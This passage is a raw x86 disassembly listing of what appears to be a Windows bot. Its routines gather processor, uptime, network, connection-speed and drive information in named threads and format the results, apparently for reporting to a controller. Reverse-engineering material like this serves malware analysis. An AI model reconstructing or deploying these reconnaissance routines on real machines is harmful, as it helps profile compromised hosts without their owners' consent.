jnz short loc_4086B3
and [ebp+var_73C], 0
mov [ebp+var_740], 80h
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_488]
push eax
lea eax, [ebp+var_73C]
push eax
push 0
push offset aProcessornames ; "ProcessorNameString"
push [ebp+var_70C]
call ds:dword_41700C ; RegQueryValueExA
test eax, eax
jnz short loc_4086A7
push 1
push 1
lea eax, [ebp+var_488]
push eax
call sub_407C2C
add esp, 0Ch
loc_4086A7: ; CODE XREF: sub_4083AD+2E5j
push [ebp+var_70C]
call ds:dword_417028 ; RegCloseKey
loc_4086B3: ; CODE XREF: sub_4083AD+2A8j
cmp [ebp+var_6E4], 1
jnz short loc_4086C8
mov [ebp+var_748], offset byte_41DE30
jmp short loc_4086D2
; ---------------------------------------------------------------------------
loc_4086C8: ; CODE XREF: sub_4083AD+30Dj
mov [ebp+var_748], offset dword_4191F4
loc_4086D2: ; CODE XREF: sub_4083AD+319j
cmp [ebp+var_524], 1
jnz short loc_4086E7
mov [ebp+var_74C], offset byte_41DE30
jmp short loc_4086F1
; ---------------------------------------------------------------------------
loc_4086E7: ; CODE XREF: sub_4083AD+32Cj
mov [ebp+var_74C], offset dword_4191F4
loc_4086F1: ; CODE XREF: sub_4083AD+338j
cmp [ebp+var_6E8], 1
jnz short loc_408706
mov [ebp+var_750], offset byte_41DE30
jmp short loc_408710
; ---------------------------------------------------------------------------
loc_408706: ; CODE XREF: sub_4083AD+34Bj
mov [ebp+var_750], offset dword_4191F4
loc_408710: ; CODE XREF: sub_4083AD+357j
lea eax, [ebp+var_708]
push eax
lea eax, [ebp+var_6E0]
push eax
push [ebp+var_748]
push [ebp+var_6E4]
push [ebp+var_74C]
push [ebp+var_524]
push [ebp+var_750]
push [ebp+var_6E8]
push [ebp+var_4]
push [ebp+var_6F0]
push [ebp+var_738]
call sub_40821B
push eax
push [ebp+var_6EC]
push [ebp+var_514]
push [ebp+var_518]
push [ebp+var_51C]
push [ebp+var_710]
push [ebp+var_48C]
push offset dword_419104
push 400h
lea eax, [ebp+var_408]
push eax
call sub_416BAE ; _snprintf
add esp, 54h
lea eax, [ebp+var_408]
push eax
push offset dword_418B64
lea eax, [ebp+var_6C8]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_6CC]
call sub_409763
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_4083AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4087DE
jmp short locret_408806
; ---------------------------------------------------------------------------
loc_4087DE: ; CODE XREF: sub_4087C4+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aSysinfoThread ; "Sysinfo thread"
push 0
push [ebp+var_4]
push offset sub_4083AD
call sub_4095A4
add esp, 10h
locret_408806: ; CODE XREF: sub_4087C4+18j
leave
retn
sub_4087C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408808 proc near ; CODE XREF: sub_408887+Bp
; sub_408887+19p ...
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push [ebp+arg_0]
lea eax, [ebp+var_28]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_28]
push eax
call sub_4105FB
pop ecx
call sub_416B64 ; clock
mov [ebp+var_4], eax
push 7D0h
push 0
push offset a80 ; "80"
lea eax, [ebp+var_28]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_8]
call sub_4053B1
pop ecx
cmp [ebp+var_8], 0
jnz short loc_40885F
mov eax, 3E8h
jmp short locret_408885
; ---------------------------------------------------------------------------
loc_40885F: ; CODE XREF: sub_408808+4Ej
call sub_416B64 ; clock
sub eax, [ebp+var_4]
cmp eax, 3E8h
jnb short loc_40887B
call sub_416B64 ; clock
sub eax, [ebp+var_4]
mov [ebp+var_2C], eax
jmp short loc_408882
; ---------------------------------------------------------------------------
loc_40887B: ; CODE XREF: sub_408808+64j
mov [ebp+var_2C], 3E8h
loc_408882: ; CODE XREF: sub_408808+71j
mov eax, [ebp+var_2C]
locret_408885: ; CODE XREF: sub_408808+55j
leave
retn
sub_408808 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408887 proc near ; CODE XREF: sub_408B30+1C2p
; sub_40CA29+1E9p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push offset dword_418F60
call sub_408808
pop ecx
mov [ebp+var_4], eax
push offset loc_418F6C
call sub_408808
pop ecx
mov [ebp+var_8], eax
push offset dword_418F84
call sub_408808
pop ecx
mov [ebp+var_C], eax
push offset loc_418F90
call sub_408808
pop ecx
mov [ebp+var_10], eax
push offset dword_418FA0
call sub_408808
pop ecx
mov [ebp+var_14], eax
push offset dword_418FB0
call sub_408808
pop ecx
mov [ebp+var_18], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
add eax, [ebp+var_C]
add eax, [ebp+var_10]
add eax, [ebp+var_14]
add eax, [ebp+var_18]
xor edx, edx
push 6
pop ecx
div ecx
leave
retn
sub_408887 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p
var_438 = qword ptr -438h
var_430 = dword ptr -430h
var_42C = qword ptr -42Ch
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = byte ptr -308h
var_208 = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 438h
and [ebp+var_8], 0
jmp short loc_408912
; ---------------------------------------------------------------------------
loc_40890B: ; CODE XREF: sub_4088FC+23j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_408912: ; CODE XREF: sub_4088FC+Dj
mov eax, [ebp+var_8]
cmp off_418FC4[eax*4], 0
jz short loc_408921
jmp short loc_40890B
; ---------------------------------------------------------------------------
loc_408921: ; CODE XREF: sub_4088FC+21j
mov eax, [ebp+var_8]
shr eax, 1
mov [ebp+var_8], eax
and [ebp+var_4], 0
jmp short loc_408936
; ---------------------------------------------------------------------------
loc_40892F: ; CODE XREF: sub_4088FC+D6j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_408936: ; CODE XREF: sub_4088FC+31j
cmp [ebp+var_4], 3
jnb loc_408B2C
mov eax, [ebp+var_8]
dec eax
push eax
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_318], eax
mov eax, [ebp+var_318]
shl eax, 1
push off_418FC4[eax*4]
lea eax, [ebp+var_418]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_418]
push eax
call sub_4105FB
pop ecx
mov eax, [ebp+var_318]
shl eax, 1
push off_418FC8[eax*4]
lea eax, [ebp+var_308]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_308]
push eax
call sub_4105FB
pop ecx
push 2710h
push 0
push offset a80 ; "80"
lea eax, [ebp+var_418]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_310], eax
cmp [ebp+var_310], 0
jnz short loc_4089D7
jmp loc_40892F
; ---------------------------------------------------------------------------
loc_4089D7: ; CODE XREF: sub_4088FC+D4j
lea eax, [ebp+var_418]
push eax
lea eax, [ebp+var_308]
push eax
push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
push 200h
lea eax, [ebp+var_208]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_208]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_208]
push eax
push [ebp+var_310]
call sub_4053BF
add esp, 0Ch
and [ebp+var_314], 0
call sub_416B64 ; clock
mov [ebp+var_41C], eax
and [ebp+var_30C], 0
loc_408A3A: ; CODE XREF: sub_4088FC+1AFj
; sub_4088FC+22Bj
push 1388h
push 200h
lea eax, [ebp+var_208]
push eax
push [ebp+var_310]
call sub_405443
add esp, 10h
mov [ebp+var_420], eax
cmp [ebp+var_420], 0
jz short loc_408A93
cmp [ebp+var_420], 0FFFFFFFFh
jz short loc_408A93
call sub_416B64 ; clock
sub eax, [ebp+var_41C]
cmp eax, 1388h
jnb short loc_408A93
cmp [ebp+var_30C], 100000h
jb loc_408B15
loc_408A93: ; CODE XREF: sub_4088FC+16Aj
; sub_4088FC+173j ...
cmp [ebp+var_30C], 2000h
jnb short loc_408AAD
push [ebp+var_310]
call sub_40538D
pop ecx
jmp short loc_408A3A
; ---------------------------------------------------------------------------
loc_408AAD: ; CODE XREF: sub_4088FC+1A1j
mov eax, [ebp+var_30C]
mov dword ptr [ebp+var_42C], eax
and dword ptr [ebp+var_42C+4], 0
fild [ebp+var_42C]
fstp [ebp+var_430]
call sub_416B64 ; clock
sub eax, [ebp+var_41C]
mov dword ptr [ebp+var_438], eax
and dword ptr [ebp+var_438+4], 0
fild [ebp+var_438]
fdiv ds:flt_417270
fdivr [ebp+var_430]
call sub_416CF8 ; _ftol
mov [ebp+var_424], eax
push [ebp+var_310]
call sub_40538D
pop ecx
mov eax, [ebp+var_424]
jmp short locret_408B2E
; ---------------------------------------------------------------------------
loc_408B15: ; CODE XREF: sub_4088FC+191j
mov eax, [ebp+var_30C]
add eax, [ebp+var_420]
mov [ebp+var_30C], eax
jmp loc_408A3A
; ---------------------------------------------------------------------------
loc_408B2C: ; CODE XREF: sub_4088FC+3Ej
xor eax, eax
locret_408B2E: ; CODE XREF: sub_4088FC+217j
leave
retn
sub_4088FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408B30 proc near ; DATA XREF: sub_408E4A+35o
var_A9C = qword ptr -0A9Ch
var_A7C = qword ptr -0A7Ch
var_A74 = dword ptr -0A74h
var_A70 = dword ptr -0A70h
var_A6C = dword ptr -0A6Ch
var_A68 = dword ptr -0A68h
var_A64 = dword ptr -0A64h
var_A60 = dword ptr -0A60h
var_A5C = byte ptr -0A5Ch
var_8B8 = dword ptr -8B8h
var_8B4 = dword ptr -8B4h
var_8B0 = byte ptr -8B0h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = byte ptr -814h
var_414 = byte ptr -414h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A7Ch
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_A60]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push offset dword_41EF48
lea eax, [ebp+var_414]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_824]
push eax
push 0
push 0
push offset dword_41EF48
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz short loc_408BBC
push 1
push 0
push 0
push 401h
lea eax, [ebp+var_414]
push eax
mov eax, [ebp+var_824]
push dword ptr [eax+10h]
mov eax, [ebp+var_824]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
push [ebp+var_824]
call dword_41DE8C ; freeaddrinfo
loc_408BBC: ; CODE XREF: sub_408B30+54j
call sub_409318
mov [ebp+var_8B8], eax
mov eax, [ebp+var_8B8]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_830], eax
mov eax, [ebp+var_8B8]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_820], eax
mov eax, [ebp+var_8B8]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_82C], eax
push offset aUnknown_0 ; "Unknown"
lea eax, [ebp+var_8B0]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset aUnknown_0 ; "Unknown"
lea eax, [ebp+var_10]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
cmp dword_41DE7C, 0
jz short loc_408C9F
push 0
push 80h
lea eax, [ebp+var_8B0]
push eax
lea eax, [ebp+var_818]
push eax
call dword_41DE7C ; InternetGetConnectedStateEx
test eax, eax
jz short loc_408C9F
mov eax, [ebp+var_818]
and eax, 1
test eax, eax
jz short loc_408C8F
push offset aModem ; "Modem"
lea eax, [ebp+var_10]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_408C9F
; ---------------------------------------------------------------------------
loc_408C8F: ; CODE XREF: sub_408B30+14Bj
push offset aLan ; "LAN"
lea eax, [ebp+var_10]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_408C9F: ; CODE XREF: sub_408B30+11Fj
; sub_408B30+13Ej ...
call sub_4043E9
test eax, eax
jz short loc_408CB4
mov [ebp+var_A64], offset aYes ; "Yes"
jmp short loc_408CBE
; ---------------------------------------------------------------------------
loc_408CB4: ; CODE XREF: sub_408B30+176j
mov [ebp+var_A64], offset aNo ; "No"
loc_408CBE: ; CODE XREF: sub_408B30+182j
mov eax, [ebp+var_A64]
mov [ebp+var_8], eax
call sub_404279
test eax, eax
jz short loc_408CDC
mov [ebp+var_A68], offset aYes ; "Yes"
jmp short loc_408CE6
; ---------------------------------------------------------------------------
loc_408CDC: ; CODE XREF: sub_408B30+19Ej
mov [ebp+var_A68], offset aNo ; "No"
loc_408CE6: ; CODE XREF: sub_408B30+1AAj
mov eax, [ebp+var_A68]
mov [ebp+var_8B4], eax
call sub_408887
mov [ebp+var_828], eax
mov [ebp+var_81C], offset aBad ; "Bad"
cmp [ebp+var_828], 2EEh
jnb short loc_408D1D
mov [ebp+var_81C], offset aAvarage ; "Avarage"
loc_408D1D: ; CODE XREF: sub_408B30+1E1j
cmp [ebp+var_828], 1F4h
jnb short loc_408D33
mov [ebp+var_81C], offset aGood ; "Good"
loc_408D33: ; CODE XREF: sub_408B30+1F7j
call sub_4088FC
mov [ebp+var_4], eax
cmp [ebp+var_82C], 1
jnz short loc_408D50
mov [ebp+var_A6C], offset byte_41DE30
jmp short loc_408D5A
; ---------------------------------------------------------------------------
loc_408D50: ; CODE XREF: sub_408B30+212j
mov [ebp+var_A6C], offset dword_4191F4
loc_408D5A: ; CODE XREF: sub_408B30+21Ej
cmp [ebp+var_820], 1
jnz short loc_408D6F
mov [ebp+var_A70], offset byte_41DE30
jmp short loc_408D79
; ---------------------------------------------------------------------------
loc_408D6F: ; CODE XREF: sub_408B30+231j
mov [ebp+var_A70], offset dword_4191F4
loc_408D79: ; CODE XREF: sub_408B30+23Dj
cmp [ebp+var_830], 1
jnz short loc_408D8E
mov [ebp+var_A74], offset byte_41DE30
jmp short loc_408D98
; ---------------------------------------------------------------------------
loc_408D8E: ; CODE XREF: sub_408B30+250j
mov [ebp+var_A74], offset dword_4191F4
loc_408D98: ; CODE XREF: sub_408B30+25Cj
push [ebp+var_A6C]
push [ebp+var_82C]
push [ebp+var_A70]
push [ebp+var_820]
push [ebp+var_A74]
push [ebp+var_830]
mov eax, [ebp+var_4]
mov dword ptr [ebp+var_A7C], eax
and dword ptr [ebp+var_A7C+4], 0
fild [ebp+var_A7C]
fdiv ds:flt_417274
push ecx
push ecx
fstp [esp+0A9Ch+var_A9C]
push [ebp+var_828]
push [ebp+var_81C]
push [ebp+var_8B4]
push [ebp+var_8]
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8B0]
push eax
lea eax, [ebp+var_414]
push eax
push offset dword_419284
push 400h
lea eax, [ebp+var_814]
push eax
call sub_416BAE ; _snprintf
add esp, 48h
lea eax, [ebp+var_814]
push eax
push offset dword_418B64
lea eax, [ebp+var_A5C]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_A60]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_408B30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_408E64
jmp short locret_408E8C
; ---------------------------------------------------------------------------
loc_408E64: ; CODE XREF: sub_408E4A+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aNetinfoThread ; "Netinfo thread"
push 0
push [ebp+var_4]
push offset sub_408B30
call sub_4095A4
add esp, 10h
locret_408E8C: ; CODE XREF: sub_408E4A+18j
leave
retn
sub_408E4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p
; sub_40CA29+2DAp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
push ebp
mov ebp, esp
sub esp, 24h
mov eax, dword_419398
mov [ebp+var_1C], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
loc_408EA4: ; CODE XREF: sub_408E8E+95j
lea eax, [ebp+var_1C]
push eax
call ds:dword_4170CC ; GetDriveTypeA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_408F14
cmp [ebp+var_10], 1
jz short loc_408F14
cmp [ebp+var_10], 5
jz short loc_408EE1
cmp [ebp+var_10], 2
jz short loc_408EE1
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4170C8 ; GetDiskFreeSpaceExA
jmp short loc_408EF1
; ---------------------------------------------------------------------------
loc_408EE1: ; CODE XREF: sub_408E8E+33j
; sub_408E8E+39j
push 8
push 0
lea eax, [ebp+var_24]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_408EF1: ; CODE XREF: sub_408E8E+51j
push 0
push 100000h
push [ebp+var_20]
push [ebp+var_24]
call sub_416C90
mov [ebp+var_24], eax
mov [ebp+var_20], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
loc_408F14: ; CODE XREF: sub_408E8E+27j
; sub_408E8E+2Dj
mov al, byte ptr [ebp+var_1C]
add al, 1
mov byte ptr [ebp+var_1C], al
movsx eax, byte ptr [ebp+var_1C]
cmp eax, 5Ah
jnz loc_408EA4
mov eax, [ebp+var_C]
leave
retn
sub_408E8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F2E proc near ; DATA XREF: sub_4091E2+35o
var_5DC = dword ptr -5DCh
var_5D8 = dword ptr -5D8h
var_5D4 = dword ptr -5D4h
var_5D0 = byte ptr -5D0h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = byte ptr -420h
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_404 = byte ptr -404h
var_3EF = byte ptr -3EFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5DCh
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_5D4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 5
pop ecx
mov esi, offset aDriveInformati ; "Drive information - "
lea edi, [ebp+var_404]
rep movsd
movsb
mov ecx, 0FAh
xor eax, eax
lea edi, [ebp+var_3EF]
rep stosd
stosw
stosb
mov eax, dword_419398
mov [ebp+var_424], eax
and [ebp+var_418], 0
and [ebp+var_5D8], 0
and [ebp+var_414], 0
mov [ebp+var_410], 1
loc_408FA6: ; CODE XREF: sub_408F2E+23Bj
lea eax, [ebp+var_424]
push eax
call ds:dword_4170CC ; GetDriveTypeA
mov [ebp+var_5DC], eax
cmp [ebp+var_5DC], 0
jz loc_409151
cmp [ebp+var_5DC], 1
jz loc_409151
cmp [ebp+var_5DC], 2
jnz short loc_408FE5
mov [ebp+var_4], offset aRemovable ; "removable"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_408FE5: ; CODE XREF: sub_408F2E+ACj
cmp [ebp+var_5DC], 3
jnz short loc_408FF7
mov [ebp+var_4], offset aFixed ; "fixed"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_408FF7: ; CODE XREF: sub_408F2E+BEj
cmp [ebp+var_5DC], 4
jnz short loc_409009
mov [ebp+var_4], offset aRemote ; "remote"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_409009: ; CODE XREF: sub_408F2E+D0j
cmp [ebp+var_5DC], 5
jnz short loc_40901B
mov [ebp+var_4], offset aCdRom ; "cd-rom"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_40901B: ; CODE XREF: sub_408F2E+E2j
cmp [ebp+var_5DC], 6
jnz short loc_40902D
mov [ebp+var_4], offset aRamdisk ; "ramdisk"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_40902D: ; CODE XREF: sub_408F2E+F4j
mov [ebp+var_4], offset aUnknown ; "unknown"
loc_409034: ; CODE XREF: sub_408F2E+B5j
; sub_408F2E+C7j ...
cmp [ebp+var_5DC], 5
jz short loc_40906A
cmp [ebp+var_5DC], 2
jz short loc_40906A
lea eax, [ebp+var_42C]
push eax
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_40C]
push eax
lea eax, [ebp+var_424]
push eax
call ds:dword_4170C8 ; GetDiskFreeSpaceExA
jmp short loc_40907D
; ---------------------------------------------------------------------------
loc_40906A: ; CODE XREF: sub_408F2E+10Dj
; sub_408F2E+116j
push 8
push 0
lea eax, [ebp+var_42C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_40907D: ; CODE XREF: sub_408F2E+13Aj
push 0
push 100000h
push [ebp+var_428]
push [ebp+var_42C]
call sub_416C90
mov [ebp+var_42C], eax
mov [ebp+var_428], edx
cmp [ebp+var_410], 0
jnz short loc_4090BF
push offset dword_419404
lea eax, [ebp+var_404]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
jmp short loc_4090C6
; ---------------------------------------------------------------------------
loc_4090BF: ; CODE XREF: sub_408F2E+17Aj
and [ebp+var_410], 0
loc_4090C6: ; CODE XREF: sub_408F2E+18Fj
mov eax, [ebp+var_42C]
or eax, [ebp+var_428]
test eax, eax
jz short loc_40910A
push [ebp+var_428]
push [ebp+var_42C]
push [ebp+var_4]
lea eax, [ebp+var_424]
push eax
lea eax, [ebp+var_404]
push eax
push offset dword_4193E4
lea eax, [ebp+var_404]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 1Ch
jmp short loc_409130
; ---------------------------------------------------------------------------
loc_40910A: ; CODE XREF: sub_408F2E+1A6j
push [ebp+var_4]
lea eax, [ebp+var_424]
push eax
lea eax, [ebp+var_404]
push eax
push offset dword_4193D4
lea eax, [ebp+var_404]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 14h
loc_409130: ; CODE XREF: sub_408F2E+1DAj
mov eax, [ebp+var_42C]
mov ecx, [ebp+var_414]
add ecx, eax
mov [ebp+var_414], ecx
mov eax, [ebp+var_5D8]
inc eax
mov [ebp+var_5D8], eax
loc_409151: ; CODE XREF: sub_408F2E+92j
; sub_408F2E+9Fj
mov al, byte ptr [ebp+var_424]
add al, 1
mov byte ptr [ebp+var_424], al
movsx eax, byte ptr [ebp+var_424]
cmp eax, 5Ah
jnz loc_408FA6
cmp [ebp+var_5D8], 0
jz short loc_40918B
push offset dword_419404
lea eax, [ebp+var_404]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
loc_40918B: ; CODE XREF: sub_408F2E+248j
push [ebp+var_414]
push [ebp+var_5D8]
lea eax, [ebp+var_404]
push eax
push offset dword_41939C
lea eax, [ebp+var_404]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 14h
lea eax, [ebp+var_404]
push eax
push offset dword_418B64
lea eax, [ebp+var_5D0]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_5D4]
call sub_409763
pop ecx
xor eax, eax
pop edi
pop esi
leave
retn 4
sub_408F2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4091FC
jmp short locret_409224
; ---------------------------------------------------------------------------
loc_4091FC: ; CODE XREF: sub_4091E2+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aDriveinfoThrea ; "Driveinfo thread"
push 0
push [ebp+var_4]
push offset sub_408F2E
call sub_4095A4
add esp, 10h
locret_409224: ; CODE XREF: sub_4091E2+18j
leave
retn
sub_4091E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409226 proc near ; CODE XREF: sub_4167F1+215p
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call ds:dword_4170D8 ; QueryPerformanceCounter
lea eax, [ebp+var_10]
push eax
call ds:dword_4170D4 ; QueryPerformanceFrequency
cmp [ebp+var_4], 0
jl short loc_40928E
jg short loc_40924E
cmp [ebp+var_8], 0
jbe short loc_40928E
loc_40924E: ; CODE XREF: sub_409226+20j
cmp [ebp+var_C], 0
jl short loc_40928E
jg short loc_40925C
cmp [ebp+var_10], 0
jbe short loc_40928E
loc_40925C: ; CODE XREF: sub_409226+2Ej
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_416D10
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_416CFE ; ceil
pop ecx
pop ecx
call sub_416CF8 ; _ftol
mov dword_41E2D0, eax
jmp short locret_4092A2
; ---------------------------------------------------------------------------
loc_40928E: ; CODE XREF: sub_409226+1Ej
; sub_409226+26j ...
call ds:dword_4170D0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_41E2D0, eax
locret_4092A2: ; CODE XREF: sub_409226+66j
leave
retn
sub_409226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p
; sub_40A9CF+1CCAp ...
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call ds:dword_4170D8 ; QueryPerformanceCounter
lea eax, [ebp+var_10]
push eax
call ds:dword_4170D4 ; QueryPerformanceFrequency
cmp [ebp+var_4], 0
jl short loc_409307
jg short loc_4092CC
cmp [ebp+var_8], 0
jbe short loc_409307
loc_4092CC: ; CODE XREF: sub_4092A4+20j
cmp [ebp+var_C], 0
jl short loc_409307
jg short loc_4092DA
cmp [ebp+var_10], 0
jbe short loc_409307
loc_4092DA: ; CODE XREF: sub_4092A4+2Ej
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_416D10
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_416CFE ; ceil
pop ecx
pop ecx
call sub_416CF8 ; _ftol
jmp short locret_409316
; ---------------------------------------------------------------------------
loc_409307: ; CODE XREF: sub_4092A4+1Ej
; sub_4092A4+26j ...
call ds:dword_4170D0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
locret_409316: ; CODE XREF: sub_4092A4+61j
leave
retn
sub_4092A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp
; sub_40A9CF:loc_40C715p
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call ds:dword_4170D8 ; QueryPerformanceCounter
lea eax, [ebp+var_10]
push eax
call ds:dword_4170D4 ; QueryPerformanceFrequency
cmp [ebp+var_4], 0
jl short loc_409381
jg short loc_409340
cmp [ebp+var_8], 0
jbe short loc_409381
